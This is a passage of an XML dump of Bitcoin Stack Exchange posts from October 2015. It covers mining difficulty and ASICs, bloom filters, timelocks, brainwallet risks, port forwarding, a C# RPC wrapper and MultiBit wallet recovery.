^&#xA;/home/smthethwa/shadow-plugin-bitcoin/build/bitcoin/src/init.cpp:826:9: error: use of undeclared identifier 'nStart'&#xA;        nStart = GetTimeMillis();&#xA;        ^&#xA;/home/smthethwa/shadow-plugin-bitcoin/build/bitcoin/src/init.cpp:905:58: error: use of undeclared identifier 'nStart'&#xA;    LogPrintf(&quot; block index %15dms\n&quot;, GetTimeMillis() - nStart);&#xA;                                                         ^&#xA;/home/smthethwa/shadow-plugin-bitcoin/build/bitcoin/src/util.h:117:39: note: expanded from macro 'LogPrintf'&#xA;#define LogPrintf(...) LogPrint(NULL, __VA_ARGS__)&#xA;                                      ^&#xA;/home/smthethwa/shadow-plugin-bitcoin/build/bitcoin/src/init.cpp:1065:5: error: use of undeclared identifier 'nStart'&#xA;    nStart = GetTimeMillis();&#xA;    ^&#xA;/home/smthethwa/shadow-plugin-bitcoin/build/bitcoin/src/init.cpp:1074:46: error: use of undeclared identifier 'nStart'&#xA;           addrman.size(), GetTimeMillis() - nStart);&#xA;                                             ^&#xA;/home/smthethwa/shadow-plugin-bitcoin/build/bitcoin/src/util.h:117:39: note: expanded from macro 'LogPrintf'&#xA;#define LogPrintf(...) LogPrint(NULL, __VA_ARGS__)&#xA;                                      ^&#xA;13 errors generated.&#xA;make[2]: *** [src/init.cpp.bc] Error 1&#xA;make[1]: *** [src/CMakeFiles/shadow-bitcoin-bitcode.dir/all] Error 2&#xA;make: *** [all] Error 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29378" LastEditorUserId="2306" LastEditDate="2015-10-19T07:19:45.443" LastActivityDate="2018-04-21T19:13:15.097" Title="Shadow-plugin-bitcoin simulator" Tags="|bitcoind|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40943" PostTypeId="2" ParentId="28228" CreationDate="2015-10-19T09:01:43.927" Score="4" Body="&lt;p&gt;There are two reasons why they can't flash mine all bitcoins: &lt;strong&gt;Difficulty&lt;/strong&gt; and &lt;strong&gt;specialized hardware&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the pace of Bitcoin creation is limited. The protocol defines how difficult it is to find more bitcoins. At normal pace, the difficulty is evaluated and readjusted about every 10-14 days. However, because the difficulty adjustment happens after a fixed number of blocks, the time until readjustment is shorter when blocks are found at a higher rate.&lt;br&gt;&#xA;When blocks are discovered quicker than the target 10 minute interval, the protocol requires a readjustment to a higher &lt;a href=&quot;/questions/tagged/difficulty&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;difficulty&amp;#39;&quot; rel=&quot;tag&quot;&gt;difficulty&lt;/a&gt;, which in turn causes the pace to slow down. For a more detailed explanation see: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/20820/5406&quot;&gt;How does the network adjust the rate at which the coins are created?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining in Bitcoin is done with &lt;em&gt;application specific integrated circuits&lt;/em&gt;. &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Application-specific_integrated_circuit&quot; rel=&quot;nofollow noreferrer&quot;&gt;ASIC&lt;/a&gt;s&lt;/strong&gt; are chips that can only execute one algorithm because it is hardwired into the chip. As these Bitcoin ASICs are single-purpose designed to solve only the calculations required for mining, they are highly optimized to do so. This lack in flexibility allows to increase their efficiency over general purpose hardware immensely, and has caused the hashrate of the Bitcoin network (the total &quot;mining power&quot;) to grow about 20,000x (twenty thousand fold) since the first Bitcoin ASICs have shipped.&#xA;General purpose chips are many magnitudes less efficient at mining, and therefore don't stand a chance at competing.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2016-02-23T15:56:57.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40944" PostTypeId="1" AcceptedAnswerId="40947" CreationDate="2015-10-19T09:11:13.390" Score="7" ViewCount="1188" Body="&lt;p&gt;I am trying to figure out when the ASIC mining era began. A &lt;a href=&quot;https://bitcoinmagazine.com/articles/avalon-ships-bitcoins-first-consumer-asics-1358905223&quot; rel=&quot;nofollow&quot;&gt;Bitcoin magazine article from January 23rd 2013&lt;/a&gt; announces the imminent arrival of the first batch of Avalon miners in early February.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there more accurate information: What day did the first ASIC miner become operative?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-21T15:55:48.390" LastActivityDate="2016-02-21T15:55:48.390" Title="When did the ASIC mining era begin?" Tags="|asic|hashpower|history|mining-hardware|news-coverage|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40945" PostTypeId="1" AcceptedAnswerId="40950" CreationDate="2015-10-19T09:53:24.637" Score="1" ViewCount="712" Body="&lt;p&gt;I would like to know if timelock transactions are considered standard with the current bitcoin client. If the answer is no, this means that you should use a different client or is it up to user choice?&#xA;Furthermore, if someone wants to construct such a transaction which is the structure it should have?&lt;/p&gt;&#xA;" OwnerUserId="10246" LastActivityDate="2015-10-20T02:10:10.530" Title="Timelock Transactions" Tags="|locktime|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40947" PostTypeId="2" ParentId="40944" CreationDate="2015-10-19T15:05:54.477" Score="4" Body="&lt;p&gt;Jeff Garzik received an Avalon miner on january 30th, 2013 and posted pictures at &lt;a href=&quot;http://garzikrants.blogspot.com/2013/01/once-upon-time-in-china-package-shipped.html&quot; rel=&quot;nofollow&quot;&gt;http://garzikrants.blogspot.com/2013/01/once-upon-time-in-china-package-shipped.html&lt;/a&gt; and &lt;a href=&quot;http://garzikrants.blogspot.com/2013/01/avalon-modular-room-to-expand.html&quot; rel=&quot;nofollow&quot;&gt;http://garzikrants.blogspot.com/2013/01/avalon-modular-room-to-expand.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next day he posted a review at &lt;a href=&quot;http://garzikrants.blogspot.com/2013/01/avalon-asic-miner-review.html&quot; rel=&quot;nofollow&quot;&gt;http://garzikrants.blogspot.com/2013/01/avalon-asic-miner-review.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For many this was a milestone that you might call the beginning of the ASIC era. Of course the manufacturer had the first bitcoin ASIC chip operative long before this. Also, this did not mean that you could just order an ASIC miner and receive it within a reasonable timeframe. But it did mean that the first bitcoin ASIC machine had shipped. For better or worse, it had begun.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2015-10-19T15:05:54.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40948" PostTypeId="1" CreationDate="2015-10-19T21:39:13.827" Score="3" ViewCount="417" Body="&lt;p&gt;I am trying to open Bitcoin Core of &quot;Cannot obtain a lock on C:User/App...&quot; I deleted the lock. file like previously suggested but cannot find a solution after that! If I reinstall will I loose the Bitcoins sent to me or can I use the same address but on an online wallet and will it receive the coins? Thanks for the help!&lt;/p&gt;&#xA;" OwnerUserId="30029" LastActivityDate="2019-03-25T08:00:46.183" Title="Cannot obtain a lock - Already deleted lock file" Tags="|transactions|wallet|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="40949" PostTypeId="2" ParentId="40939" CreationDate="2015-10-20T02:06:41.563" Score="5" Body="&lt;p&gt;Bloom filters are probabilistic, each attempted match you make with it has a specific chance of being a false positive. The rate of false positives is determined by the construction of the filter (how wide it is and how many elements have been added to it). A transaction either probably matches, or certainly doesn't match a given bloom filter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0037.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP37&lt;/a&gt; does not include Bitcoin addresses in the filter matching system, instead for every transaction in the block a given filter is matched with the TXID, every output script, every input script, and every data element in the input script. If any element matches the transaction is sent to the client, false positive or not is up to the client to decide. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It is my understanding that the false positive addresses generated by an SPV bloom filter do not need to necessarily be on the blockchain (ie. be addresses that have been used already).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;BIP37 SPV filtering will only ever return either transactions from a block (including the merkle tree path to the block header), or transactions from their memory pool which match the given filter. False positives aren't created out of nowhere, they just happen to be other transactions which fit a criteria given by the client. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The intent was originally that clients would tune the level of false positive transactions to obscure their real intention from the peer they are talking to, but in practice this appears to be &lt;a href=&quot;https://eprint.iacr.org/2014/763.pdf&quot; rel=&quot;nofollow&quot;&gt;completely ineffective&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-10-20T16:38:56.767" LastActivityDate="2015-10-20T16:38:56.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40950" PostTypeId="2" ParentId="40945" CreationDate="2015-10-20T02:10:10.530" Score="3" Body="&lt;p&gt;&lt;code&gt;nLocktime&lt;/code&gt; has always been standard and is used to prevent &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/2340&quot; rel=&quot;nofollow&quot;&gt;fee sniping&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;OP_CHECKLOCKTIMEVERIFY&lt;/code&gt; is currently not implemented and is not enforced. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A non-standard transaction can be mined by a miner, but will not relay around the normal peer to peer network. A transaction who has a &lt;code&gt;nLockTime&lt;/code&gt; which has not been passed is &lt;em&gt;invalid&lt;/em&gt;, and won't be relayed or included in a block until this time has passed. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-10-20T02:10:10.530" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40951" PostTypeId="2" ParentId="40922" CreationDate="2015-10-20T02:49:30.710" Score="5" Body="&lt;p&gt;It would not be wise to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Brainwallet&quot; software is completely non-standardized, there's no guarantee that any two implementations handle the encoding of characters in the same way. Addition of UTF8/UTF16 these characters is also likely to be incredibly confusing, did you mean Tooxy or Тооху? Those strings look the same but one is a completely different set of Unicode characters (and make two entirely different keys). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even with the addition of non-standard characters it's unlikely any particular human generated string will have &lt;a href=&quot;https://www.youtube.com/watch?v=foil0hzl4Pg&quot;&gt;enough entropy to avoid attack&lt;/a&gt;. Staying far away from the brainwallet concept entirely would be most sensible, it's extremely broken and will likely lead to a loss of money either through theft or faulty software. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-10-20T02:49:30.710" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40952" PostTypeId="2" ParentId="40939" CreationDate="2015-10-20T03:21:35.880" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;false positives addresses ... do not need to necessarily be on the blockchain&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can think of bloom filter matching like a function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def matches(tx, filter):&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could make a transactions that returns true for this function with a given filter, which also was not meant to return true for that transaction, so false positives can exist outside of the blockchain data. But to see it in practice, a false positive will almost always come from the blockchain/p2p network.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-10-20T03:21:35.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40953" PostTypeId="1" AcceptedAnswerId="40954" CreationDate="2015-10-20T16:05:25.310" Score="1" ViewCount="1055" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7810/port-forwarding-plus-bitcoin/7811#7811&quot;&gt;this&lt;/a&gt; it's possible to have incoming connections to Bitcoin client by forwarding port 8333 on the router. I was wondering if there is some specific port range Bitcoin Core uses for making outgoing connections which could be used as a triggering rule? This way when the client is not running, port would be closed, plus it could be used by different machines behind the router without configuration changes (I know I could forward different ports to different machines and then change the incoming port in client configs)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;@NateEldredge is right. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current setup is as follow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Rule name: Bitcoin&#xA;Triggered range: 8333-8333&#xA;Forwarded range: 8333-8333&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Bitcoin Core is running the port is open (according to &lt;a href=&quot;http://www.canyouseeme.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.canyouseeme.org/&lt;/a&gt;). If it's closed the port is closed too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only catch is it won't work if all 8 outgoing connections will use non default port but it shouldn't happen too often if ever.&lt;/p&gt;&#xA;" OwnerUserId="30037" LastEditorUserId="5406" LastEditDate="2017-12-23T17:15:37.437" LastActivityDate="2017-12-23T17:15:37.437" Title="How to trigger port for Bitcoin client (e.g. 8333)" Tags="|connection|peer-discovery|port|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40954" PostTypeId="2" ParentId="40953" CreationDate="2015-10-20T16:49:03.810" Score="3" Body="&lt;p&gt;Bitcoin Core doesn't seem to have an option to specify the source port for outgoing connections, so you probably can't assume anything about the source port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if possible, you could configure your router to look for outgoing connections with &lt;em&gt;destination&lt;/em&gt; port 8333, which will probably be the port used by most peers.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-10-20T16:49:03.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40955" PostTypeId="2" ParentId="40913" CreationDate="2015-10-20T18:18:54.680" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://www.coralblocks.com&quot; rel=&quot;nofollow&quot;&gt;Coral Blocks&lt;/a&gt; has a free service that provides aggregated liquidity from Coinbase, Coinsetter, Okcoin and LakeBTC. You can get the aggregated book in JSON through the link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coralblocks.com:45453/book/BTC-USD&quot; rel=&quot;nofollow&quot;&gt;http://www.coralblocks.com:45453/book/BTC-USD&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;last updated&quot;:     &quot;20151015-21:01:27.551&quot;,&#xA;    &quot;time zone&quot;:        &quot;America/New_York&quot;,&#xA;    &quot;symbol&quot;:           &quot;BTC-USD&quot;,&#xA;    &quot;exchange&quot;:         null,&#xA;    &quot;spread&quot;:           -0.90,&#xA;    &quot;best bid size&quot;:        0.07000000,&#xA;    &quot;best bid price&quot;:       255.87,&#xA;    &quot;best ask size&quot;:        0.00090000,&#xA;    &quot;best ask price&quot;:       254.97,&#xA;&#xA;    &quot;bids&quot;: [&#xA;&#xA;        [ &quot;OKCN&quot;,       0.07000000,     255.87],&#xA;        [ &quot;OKCN&quot;,       0.07000000,     255.84],&#xA;        [ &quot;OKCN&quot;,       0.07000000,     255.81],&#xA;        ...&#xA;    ],&#xA;&#xA;    &quot;asks&quot;: [&#xA;&#xA;        [ &quot;LAKE&quot;,       0.00090000,     254.97],&#xA;        [ &quot;LAKE&quot;,       0.06700000,     254.98],&#xA;        [ &quot;LAKE&quot;,       0.60000000,     254.99],&#xA;        ...&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also get real-time updates through TCP and FIX. More info about the API here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coralblocks.com/index.php/2015/10/free-real-time-bitcoin-market-data/&quot; rel=&quot;nofollow&quot;&gt;http://www.coralblocks.com/index.php/2015/10/free-real-time-bitcoin-market-data/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; I am a developer at Coral Blocks.&lt;/p&gt;&#xA;" OwnerUserId="30041" LastActivityDate="2015-10-20T18:18:54.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40956" PostTypeId="1" CreationDate="2015-10-20T18:55:13.543" Score="0" ViewCount="149" Body="&lt;p&gt;I signed up for bitcoin ages ago, but never used it; I forget who I signed up with I have had to reinstall the OS (Win 10) on my computer and lost the program I used. I do still have a copy of the address though. How do I add the address to MultiBit?&lt;/p&gt;&#xA;" OwnerUserId="30043" LastEditorUserId="2306" LastEditDate="2015-10-20T19:46:19.420" LastActivityDate="2015-11-20T15:59:24.090" Title="Can I add Bitcoins by address?" Tags="|address|multibit-hd|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40957" PostTypeId="2" ParentId="40934" CreationDate="2015-10-20T21:50:18.853" Score="1" Body="&lt;p&gt;I'd start by reading the concepts here so you know what stellar will do for you vs what you have to do on your own: &lt;a href=&quot;https://www.stellar.org/developers/learn/&quot; rel=&quot;nofollow&quot;&gt;https://www.stellar.org/developers/learn/&lt;/a&gt;&#xA;It also has the API documentation.&lt;/p&gt;&#xA;" OwnerUserId="30046" LastActivityDate="2015-10-20T21:50:18.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40958" PostTypeId="2" ParentId="38586" CreationDate="2015-10-20T21:53:50.023" Score="0" Body="&lt;p&gt;Here is a description of how inflation works in stellar: &lt;a href=&quot;https://www.stellar.org/developers/learn/concepts/inflation.html&quot; rel=&quot;nofollow&quot;&gt;https://www.stellar.org/developers/learn/concepts/inflation.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30046" LastActivityDate="2015-10-20T21:53:50.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40959" PostTypeId="2" ParentId="40934" CreationDate="2015-10-20T21:57:11.670" Score="1" Body="&lt;p&gt;A platform for realtime international payments would definitely be possible using the &lt;a href=&quot;https://www.stellar.org/developers/&quot; rel=&quot;nofollow&quot;&gt;Stellar API&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd need to first &lt;a href=&quot;https://www.stellar.org/developers/learn/integration-guides/gateway.html&quot; rel=&quot;nofollow&quot;&gt;become a gateway&lt;/a&gt; on the Stellar network. More on what it means to be a Stellar gateway &lt;a href=&quot;https://www.stellar.org/developers/learn/concepts/assets.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also recommend familiarizing yourself with the &lt;a href=&quot;https://www.stellar.org/developers/js-stellar-sdk/learn/index.html&quot; rel=&quot;nofollow&quot;&gt;Javascript SDK&lt;/a&gt;, which lets you integrate a web app (that you build) with the &lt;a href=&quot;https://www.stellar.org/developers/reference/&quot; rel=&quot;nofollow&quot;&gt;Horizon API server&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have have more questions about integration with the Stellar network, feel free to join &lt;a href=&quot;http://slack.stellar.org&quot; rel=&quot;nofollow&quot;&gt;slack.stellar.org&lt;/a&gt; and chat with developers from Stellar.org team and the global Stellar community. It may be easier to help you with the development process if we can chat in real-time.&lt;/p&gt;&#xA;" OwnerUserId="25073" LastActivityDate="2015-10-20T21:57:11.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40961" PostTypeId="2" ParentId="5461" CreationDate="2015-10-21T06:58:29.073" Score="1" Body="&lt;p&gt;I wrote my own wrapper,&#xA;it wasn't complicated, &#xA;this is the basic gist of it below. &#xA;Adapt for your specific needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example of getting raw transaction&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;internal static string GetRawTransaction(string txid)&#xA;{&#xA;    var CredentialCache = new CredentialCache();&#xA;    CredentialCache.Add(new Uri(&quot;http://127.0.0.1:8332&quot;), &quot;Basic&quot;, new NetworkCredential(&quot;[your rpc username]&quot;, &quot;your rpc password&quot;));&#xA;&#xA;    var httpWebRequest = (HttpWebRequest)WebRequest.Create(&quot;http://127.0.0.1:8332&quot;);&#xA;    httpWebRequest.ContentType = &quot;text/json&quot;;&#xA;    httpWebRequest.Method = &quot;POST&quot;;&#xA;    httpWebRequest.Credentials = CredentialCache;&#xA;&#xA;    using (var streamWriter = new StreamWriter(httpWebRequest.GetRequestStream()))&#xA;    {&#xA;        string json;&#xA;        json = &quot;{ \&quot;jsonrpc\&quot;: \&quot;2.0\&quot;, \&quot;id\&quot;:\&quot;&quot; + Guid.NewGuid().ToString() + &quot;\&quot;, \&quot;method\&quot;: \&quot;getrawtransaction\&quot;,\&quot;params\&quot;:[\&quot;&quot; + txid + &quot;\&quot;,1]}&quot;;&#xA;&#xA;        streamWriter.Write(json);&#xA;    }&#xA;    var httpResponse = (HttpWebResponse)httpWebRequest.GetResponse();&#xA;    using (var streamReader = new StreamReader(httpResponse.GetResponseStream()))&#xA;    {&#xA;        var responseText = streamReader.ReadToEnd();&#xA;        return responseText;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21130" LastActivityDate="2015-10-21T06:58:29.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40962" PostTypeId="1" CreationDate="2015-10-21T11:38:01.950" Score="0" ViewCount="667" Body="&lt;p&gt;This question is similar to previosuly asked question &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/36341/start-a-private-bitcoin-network&quot;&gt;Start a Private Bitcoin Network&lt;/a&gt; but since I can't comment there I am asking again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on a concept specifically for existing bitcoin so the suggested methods of &lt;code&gt;litecoin&lt;/code&gt; or &lt;code&gt;regtest&lt;/code&gt; are not applicable for my purpose. I need to simulate a bitcoin network over my LAN/Wifi and it would be great if someone could point me towards a method to do it.&lt;/p&gt;&#xA;" OwnerUserId="29691" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2023-01-28T08:06:55.857" Title="Setup a private bitcoin network" Tags="|bitcoind|network|" AnswerCount="0" CommentCount="6" ClosedDate="2023-08-28T17:37:05.947" ContentLicense="CC BY-SA 3.0" />
  <row Id="40963" PostTypeId="1" CreationDate="2015-10-21T14:16:30.080" Score="2" ViewCount="819" Body="&lt;p&gt;Trying to upgrade. I can open my wallet in Multibit classic without entering a password. I have never needed a password to open it and don't remember ever setting one up. I certainly have none recorded. But I can't export a key without entering a password. I tried sending the contents of the wallet to a new wallet in Multibit-HD but I don't know how much to send to allow for the transaction fee. There does not seem to be an &quot;empty wallet&quot; option.&lt;/p&gt;&#xA;" OwnerUserId="30059" LastEditorUserId="2306" LastEditDate="2015-10-21T20:09:22.270" LastActivityDate="2015-11-03T20:50:04.193" Title="Upgrading from classic to hd" Tags="|multibit|multibit-hd|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40964" PostTypeId="2" ParentId="40963" CreationDate="2015-10-21T14:47:34.040" Score="0" Body="&lt;p&gt;Well I'm not totally sure about the password situation but you can easily send a 1 cent transaction fee and send the rest of your bitcoin to another wallet if that is an option. You don't even technically need a transaction fee it will just take much longer for the transaction to be confirmed if you do not send a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 cent currently is ~ 0.00004 BTC&lt;/p&gt;&#xA;" OwnerUserId="29646" LastActivityDate="2015-10-21T14:47:34.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40965" PostTypeId="2" ParentId="40956" CreationDate="2015-10-21T14:58:35.593" Score="1" Body="&lt;p&gt;Edit: I apologize I was for some reason still thinking MultiBit classic, if you are using HD there is a possiblity you created seed words which you would be able to restore from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Information is per: &lt;a href=&quot;https://multibit.org/try-multibit-hd.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/try-multibit-hd.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Classic:&#xA;You're going to need the backup wallet or private keys that were automatically created for you by MultiBit. By default they would have been located in a sub-directory of the folder your original MultiBit wallet was created in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This information is per: &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_walletBackups.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/v0.5/help_walletBackups.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not have any of these files/private keys you are out of luck with regards to recovering the funds. The wallet address alone will only allow you to view the funds, there is no way to recover funds with a bitcoin address alone.&lt;/p&gt;&#xA;" OwnerUserId="29646" LastActivityDate="2015-10-21T14:58:35.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40968" PostTypeId="1" CreationDate="2015-10-21T16:39:26.370" Score="0" ViewCount="4347" Body="&lt;p&gt;I have an old coinbase account and can't figure out for the life of me where I would have sent the coins.  What is the best way to determine the owner or location from a bitcoin address?&#xA;14vRCiVnT4Su1akXrKmUUa3Ucf971pJXsB&lt;/p&gt;&#xA;" OwnerUserId="30063" LastActivityDate="2018-01-02T05:41:55.763" Title="how do i identify the location of a transaction?" Tags="|coinbase.com|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40969" PostTypeId="2" ParentId="40968" CreationDate="2015-10-21T17:17:30.403" Score="1" Body="&lt;p&gt;The address you linked to only has 2 transactions for a total received of .01 BTC, which was later sent to 1Facb8QnikfPUoo8WVFnyai3e1Hcov9y8T.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that the address you linked may not be the only bitcoin address you had available in your coinbase account. A wallet can provide many addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction info: &#xA;&lt;a href=&quot;https://bitcoinchain.com/block_explorer/address/14vRCiVnT4Su1akXrKmUUa3Ucf971pJXsB&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinchain.com/block_explorer/address/14vRCiVnT4Su1akXrKmUUa3Ucf971pJXsB&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for figuring out the owner/location tied to a bitcoin address as far as I understand this is not a built in feature of bitcoin. Unless the owner has publicly attached this address to a name somewhere there is not really a way the average person can find out who owns it or where they are from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure a hacker/government could find a way to monitor transactions on the network and gain your IP but I don't think that information is made available for the average user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This thread may help clarify: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/193/how-do-i-see-the-ip-address-of-a-bitcoin-transaction&quot;&gt;How do I see the IP address of a bitcoin transaction?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29646" LastActivityDate="2015-10-21T17:17:30.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40970" PostTypeId="1" AcceptedAnswerId="40972" CreationDate="2015-10-21T18:05:55.090" Score="1" ViewCount="94" Body="&lt;p&gt;I am thinking about how are these all 'bitcoin shops' working.&#xA;Imagine i go to a web page called &lt;a href=&quot;http://bitcoinshop.smth&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinshop.smth&lt;/a&gt; where all i see is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Price of the Bitcoin&#xA;And all i can do is &quot;Buy&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course the price of the BTC that they display is the lowest Ask price at the exchanges +X$ Fee they want to earn - makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the question is,&#xA;what is happening behind the scenes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can imagine two situations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) They have BTCs in their wallet, so when i hit BUY - i get their BTCs out of their wallet at the price of the Exchange + their fee. &#xA;But what if they bought them for 200$ and the price dropped to 100$ on the Exchanges? How do they manage that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) They are having market links to several exchanges and when i hit BUY they immediately place a BUY order on the exchange with the given price. Of course this is simplified as they should be looking into the order book and check the quantities and so on.. but nevertheless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still i see some issues: 1) They can't guarantee the order to be filled with the quantity i asked for, 2) They can't guarantee that at the time i hit BUY the price will be exactly as i wanted to buy. Well yes if the price goes down they get the money, but if the price goes up - well my BUY shouldn't be executed as i would have to pay more than i declared.&#xA;This reminds me the old-days @ electronic exchanges - there was a regulation for this that the price has to be guaranteed for the buyer, but that's a different story.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know how is that managed?&#xA;And additional question, what if i come with a request to buy 10000 BTCs, &#xA;i wonder how is that managed..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example Shop:&#xA;&lt;a href=&quot;https://www.4coins.pl/en/&quot; rel=&quot;nofollow&quot;&gt;https://www.4coins.pl/en/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22808" LastEditorUserId="22808" LastEditDate="2015-10-21T18:21:10.443" LastActivityDate="2015-10-21T18:36:01.407" Title="Bitcoin Shop - question" Tags="|buy-bitcoins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
